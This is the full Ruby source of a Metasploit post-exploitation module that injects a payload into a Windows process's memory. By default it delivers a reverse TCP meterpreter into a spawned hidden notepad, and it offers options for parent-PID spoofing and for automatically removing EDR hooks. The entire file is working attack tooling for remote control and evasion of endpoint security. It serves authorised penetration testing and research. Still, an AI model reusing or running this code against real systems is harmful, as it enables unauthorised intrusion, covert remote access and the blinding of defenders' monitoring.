metasploit-framework/modules/exploits/windows/local/payload_inject.rb

156 lines
5.1 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Process
include Msf::Module::Deprecated
moved_from 'post/windows/manage/payload_inject'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Manage Memory Payload Injection',
'Description' => %q{
This module will inject a payload into memory of a process. If a payload
isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID
datastore option isn't specified, then it'll inject into notepad.exe instead.
},
'License' => MSF_LICENSE,
'Author' => [
'Carlos Perez <carlos_perez[at]darkoperator.com>',
'sinn3r'
],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate' => '2011-10-12',
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_getenv
stdapi_sys_process_attach
stdapi_sys_process_execute
]
}
}
)
)
register_options(
[
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload. 0=New Process', 0]),
OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)', 0]),
OptBool.new('AUTOUNHOOK', [false, 'Auto remove EDRs hooks', false]),
OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5])
]
)
end
# Run Method for when run command is issued
def exploit
@payload_name = datastore['PAYLOAD']
@payload_arch = ARCH_X86
payload_arch_old = framework.payloads.create(@payload_name).arch.first
# convert the old style archetecture to the new style
@payload_arch = ARCH_X64 if payload_arch_old.include?('64')
vprint_status("Client Arch = #{client.arch}")
vprint_status("Payload Arch = #{@payload_arch}")
# prelim checks
if client.arch == ARCH_X86 and @payload_arch == ARCH_X64
fail_with(Failure::BadConfig, "Cannot inject a 64-bit payload into any process on a 32-bit OS")
end
# syinfo is only on meterpreter sessions
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
if datastore['PPID'] != 0 and datastore['PID'] != 0
print_error("PID and PPID are mutually exclusive")
return false
end
proc = get_proc(datastore['PID'])
if not proc
print_error("Unable to get a proper PID")
return
end
if datastore['PPID'] != 0 and not has_pid?(datastore['PPID'])
print_error("Process #{datastore['PPID']} was not found")
return false
elsif datastore['PPID'] != 0
print_status("Spoofing PPID #{datastore['PPID']}")
end
unless arch_check(@payload_arch, proc.pid)
fail_with(Failure::BadConfig, "Mismatched payload/process architecture")
end
if datastore['AUTOUNHOOK']
print_status("Executing unhook")
print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...")
unless inject_unhook(proc, @payload_arch, datastore['WAIT_UNHOOK'])
fail_with(Failure::BadConfig, "Unknown target arch; unable to assign unhook dll")
end
end
print_status("Injecting payload into #{proc.pid}")
begin
inject_into_pid(proc.pid)
rescue ::Exception => e
print_error("Failed to inject Payload to #{pid}!")
print_error(e.to_s)
end
end
# Figures out which PID to inject to
def get_proc(pid)
if pid == 0
notepad_pathname = get_notepad_pathname(@payload_arch, client.sys.config.getenv('windir'), client.arch)
vprint_status("Starting #{notepad_pathname}")
proc = client.sys.process.execute(notepad_pathname, nil, {
'Hidden' => datastore['HIDDEN'],
'ParentPid' => datastore['PPID']
})
if proc.nil?
print_bad("Failed to start notepad process")
else
print_status("Spawned Notepad process #{proc.pid}")
end
else
if not has_pid?(pid)
print_error("Process #{pid} was not found")
return nil
end
proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
if proc.nil?
print_bad("Failed to start notepad process")
else
print_status("Opening existing process #{proc.pid}")
end
end
return proc
end
def inject_into_pid(pid)
vprint_status("Performing Architecture Check")
return if not arch_check(@payload_arch, pid)
begin
print_status("Preparing '#{@payload_name}' for PID #{pid}")
raw = payload.encoded
execute_shellcode(raw, nil, pid)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Unable to inject payload:")
print_line(e.to_s)
end
end
end